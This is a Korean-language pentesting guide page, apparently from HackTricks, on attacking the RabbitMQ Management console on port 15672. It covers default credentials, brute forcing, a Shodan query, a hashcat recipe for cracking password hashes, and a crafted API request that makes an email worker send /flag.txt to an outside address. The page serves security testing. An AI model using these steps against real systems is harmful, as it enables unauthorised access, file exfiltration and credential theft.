hacktricks/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md

51 lines
2.0 KiB
Markdown

# 15672 - Pentesting RabbitMQ Management
{{#include ../banners/hacktricks-training.md}}
## Basic Information
RabbitMQ에 대한 자세한 내용은 [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md)에서 확인할 수 있습니다.\
이 포트에서는 [management plugin](https://www.rabbitmq.com/management.html)이 활성화되어 있으면 RabbitMQ Management 웹 콘솔을 찾을 수 있습니다.\
메인 페이지는 다음과 같아야 합니다:
![](<../images/image (336).png>)
## Enumeration
기본 자격 증명은 "_**guest**_":"_**guest**_"입니다. 작동하지 않는 경우 [**로그인에 대한 브루트 포스**](../generic-hacking/brute-force.md#http-post-form)를 시도해 볼 수 있습니다.
이 모듈을 수동으로 시작하려면 다음을 실행해야 합니다:
```
rabbitmq-plugins enable rabbitmq_management
service rabbitmq-server restart
```
한 번 올바르게 인증하면 관리 콘솔을 볼 수 있습니다:
![](<../images/image (441).png>)
또한, 유효한 자격 증명이 있는 경우 `http://localhost:15672/api/connections`의 정보가 흥미로울 수 있습니다.
또한 이 서비스의 API를 사용하여 다음과 같은 요청으로 **큐 안에 데이터를 게시**하는 것이 가능합니다:
```bash
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
Host: 172.32.56.72:15672
Authorization: Basic dGVzdDp0ZXN0
Accept: */*
Content-Type: application/json;charset=UTF-8
Content-Length: 267
{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}
```
## 해시 크래킹
```bash
echo <base64 rabbit mq hash> | base64 -d | xxd -pr -c128 | perl -pe 's/^(.{8})(.*)/$2:$1/' > hash.txt
hashcat -m 1420 --hex-salt hash.txt wordlist
```
### Shodan
- `port:15672 http`
{{#include ../banners/hacktricks-training.md}}